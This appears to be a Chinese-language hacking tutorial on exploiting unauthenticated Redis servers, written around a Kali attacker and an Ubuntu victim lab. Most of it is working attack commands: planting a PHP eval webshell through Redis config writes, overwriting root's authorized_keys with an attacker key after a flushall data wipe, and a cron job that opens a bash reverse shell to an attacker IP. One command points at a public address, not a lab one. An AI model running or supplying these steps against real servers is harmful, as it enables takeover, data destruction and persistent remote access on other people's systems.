Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型、 Key-Value數據庫。和Memcached相似,它支持存儲的value 類型相對更多,包括 string(字符串)、list ( 鏈表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)。這些數據類型都支持push/pop 、 add/remove 及取交集並集和差集及更豐富的操做,並且這些操做都是原子性的。在此基礎上, redis支持各類不一樣方式的排序。與 memcached 同樣,爲了保證效率,數據都是緩存在內存中。區別的是 redis 會週期性的把更新的數據寫入磁盤或者把修改操做寫入追加的記錄文件,而且在此基礎上實現了 master-slave ( 主從)同步。php
Redis因配置不當能夠致使未受權訪問,被攻擊者惡意利用。當前流行的針對Redis未受權訪問的一種新型攻擊方式,在特定條件下,若是Redis以root身份運行,黑客能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害服務器,可致使服務器權限被獲取和數據刪除、泄露或加密勒索事件發生,嚴重危害業務正常服務。 部分服務器上的Redis 綁定在 0.0.0.0:6379,而且沒有開啓認證(這是Redis 的默認配置),以及該端口能夠經過公網直接訪問,若是沒有采用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip 訪問等,將會致使 Redis 服務直接暴露在公網上,可能形成其餘用戶能夠直接在非受權狀況下直接訪問Redis服務並進行相關操做。目前比較主流的案例:yam2 minerd 挖礦程序,還有在屢次應急事件中發現大量的watch-smartd挖礦木馬。html
測試對象環境 | 對應IP |
---|---|
受害者(ubuntu 16.04) | 192.168.5.135 |
攻擊者(kali) | 192.168.5.125 |
Redis因配置不當能夠未受權訪問,攻擊者無需認證訪問到內部數據,可致使敏感信息泄露
漏洞利用:核心就是進行寫文件操做
能夠獲取敏感信息,操做數據庫,SSH遠程登陸,寫入webshell
建議用centoslinux
ubuntu16.04 安裝redis
```markup
sudo apt-get update
sudo apt-get install redis-server
查看redis是否啓動,啓動redis客戶端,此時已經啓動了,web
redis-cli
啓動redisredis
redis-server
若是是用apt-get或者yum install安裝的redis,能夠直接經過下面的命令中止/啓動/重啓redisshell
/etc/init.d/redis-server stop /etc/init.d/redis-server start /etc/init.d/redis-server restart
若是是經過源碼安裝的redis,則能夠經過redis的客戶端程序redis-cli的shutdown命令來重啓redis數據庫
1.redis關閉ubuntu
redis-cli -h 127.0.0.1 -p 6379 shutdown
2.redis啓動vim
redis-server
若是上述方式都沒有成功中止redis,則可使用終極武器 kill -9centos
修改配置文件redis.conf
vim /etc/redis/redis.conf
正常配置時,須要將daemoize 設置爲yes(守護進程)
區別
yes:當redis.conf中選項daemonize設置成yes時,表明開啓守護進程模式。在該模式下,redis會在後臺運行,並將進程pid號寫入至redis.conf選項pidfile設置的文件中,此時redis將一直運行,除非手動kill該進程。
no:當前界面將進入redis的命令行界面,exit強制退出或者關閉鏈接工具(putty,xshell等)都會致使redis進程退出。
redis在開放往外網的狀況下(默認配置是bind 127.0.0.1,只容許本地訪問,若是配置了其餘網卡地址那麼就能夠網絡訪問),默認配置下是空口令,端口爲6379。這裏須要將它註釋掉。
版本較高的redis 還須要將 protected-mode設爲no
redis3.2版本後新增protected-mode配置,默認是yes,即開啓。設置外部網絡鏈接redis服務,設置方式以下:
一、關閉protected-mode模式,此時外部網絡能夠直接訪問
二、開啓protected-mode保護模式,需配置bind ip或者設置訪問密碼
此時咱們的靶機環境已經搭建完畢,測試(默認無密碼)
Redis默認使用6379端口,使用nmap對服務器進行掃描
Nmap -A -p 6379 –script redis-info 192.168.5.135
kali安裝redis
下載
wget http://download.redis.io/releases/redis-5.0.7.tar.gz
解壓
tar xzf redis-5.0.7.tar.gz
會在當前目錄下生成文件夾 redis-5.0.4
cd redis-5.0.7 make
編譯完成,進入下級目錄src,啓動redis客戶端 遠程鏈接靶機(默認無密碼)
cd /src ./redis-cli -h 192.168.5.135
!!!此時已經未受權訪問到靶機的redis 經過 info 查看信息
redis數據庫的一些基本操做
info #查看redis的信息和服務器信息 flushall 刪除全部數據 del key 刪除鍵爲key的數據 get key 得到參數key的數據
寫入一句話木馬
寫入一句話木馬須要咱們知道網站的根目錄相對於服務器的絕對路徑。靶機在 /var/www/html/dedecms/uploads 這個目錄下。
執行下列命令
redis-cli -h 192.168.5.135 set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" config set dir /var/www/html/dedecms/uploads config set dbfilename webshell.php save
因爲個人靶機上沒網站,因此這裏就貼個別人的圖片記錄一下
而後用菜刀鏈接
能夠看到,已經鏈接成功了!
1.寫入ssh公鑰,獲取操做系統權限
將hacker的公鑰 追加 寫入 redis服務器的 /root/.ssh 文件夾下的authotrized_keys文件中,即hacker主機 直接登陸 該服務器。
"公鑰登陸" 原理很簡單,就是用戶將本身的公鑰儲存在遠程主機上。
登陸的時候,遠程主機會向用戶發送一段隨機字符串,用戶用本身的私鑰加密後,再發回來。遠程主機用事先儲存的公鑰進行解密,若是成功,就證實用戶是可信的,直接容許登陸shell,再也不要求密碼。
這種方法要求用戶必須提供本身的公鑰。若是沒有現成的,能夠直接用ssh-keygen生成一個:
首先在本身的電腦上生成key:
ssk-keygen
將公鑰導入key.txt文件(先後用\n換行,避免和Redis裏其餘緩存數據混合),再把key.txt文件內容寫入目標主機的緩衝裏:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
config set dir /root/.ssh/
這裏設置目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是由於root歷來沒有登陸過,在被攻擊機執行ssh localhost 便可
(error) ERR Changing directory: Permission denied
說明redis並非以root啓動的
總結
利用redis-cli 鏈接 該服務器 redis-cli -h 173.239.46.188 # 刪除全部數據庫以及key!!((保證寫入的數據不摻雜其餘數據)慎用 !! flushall # 把公鑰文件gy (經過redis自身方法) 寫入 服務器的內存 返回OK cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit # 利用redis查看當前目錄 192.168.5.135> config get dir 1) "dir" 2) "/var/spool/cron" # 進入目錄 設置保存路徑 /Users/用戶名/.ssh 可能OK 也可能非root用戶權限不足(error) ERR Changing directory: Permission denied 192.168.5.135:6379> config set dir /root/.ssh/ # 設置數據庫名 192.168.5.135:6379> config set dbfilename "authorized_keys" OK # 保存數據庫的內容到/root/.ssh/authorized_keys 會覆蓋以前的!! 會致使以前設置的全部ssh免登陸失效!!! 192.168.5.135:6379> save OK #------------------------------------------------- # 經過本身本機的私鑰登錄服務器 ssh -i id_rsa root@192.168.5.135
2.centos定時反彈shell,(ubuntu可能不行)
咱們能夠將 linux 反彈 shell 的命令寫入定時任務中,這樣,咱們就能夠接收到redis服務器反彈過來的shell了
redis-cli -h 192.168.1.8 set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" #意思是每隔一分鐘,向192.168.1.4的4444端口反彈shell config set dir /var/spool/cron #設置工做目錄 (error) ERR Changing directory: Permission denied 查看/var/spool/cron 目錄權限爲700,且爲root建立 即便該普通用戶具備sudo權限也不行 config set dbfilename "root" #設置文件名,當前用戶叫啥就得命名爲啥,當前用戶爲root save #上面這幾行命令的意思就是將 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\n\n" 這條命令寫入test文件中,而且存放在/var/spool/cron目錄下